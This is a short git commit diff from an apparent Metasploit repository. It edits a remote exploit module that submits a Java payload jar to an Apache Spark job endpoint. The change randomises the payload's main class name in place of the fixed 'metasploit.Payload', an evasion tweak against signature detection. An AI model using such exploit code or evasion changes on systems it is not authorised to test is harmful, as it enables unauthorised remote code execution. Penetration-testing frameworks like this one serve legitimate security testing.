Randomize payload main class.

GSoC/Meterpreter_Web_Console
Green-m 2018-11-28 11:26:51 +08:00
parent 2197da4cd9
commit ca0a2684f5
No known key found for this signature in database
GPG Key ID: 7A4A0E684B5D6747
1 changed files with 2 additions and 2 deletions

View File

@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
vprint_status("Generating payload ...")
@pl = generate_payload.encoded_jar
@pl = generate_payload.encoded_jar(random:true)
print_error("Failed to generate the payload.") unless @pl
path = resource_uri
@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
"appArgs" => [],
"appResource" => @payload_uri.to_s,
"environmentVariables" => {"SPARK_ENV_LOADED" => "1"},
"mainClass" => "metasploit.Payload",
"mainClass" => "#{@pl.substitutions["metasploit"]}.Payload",
"sparkProperties" =>
{
"spark.jars" => @payload_uri.to_s,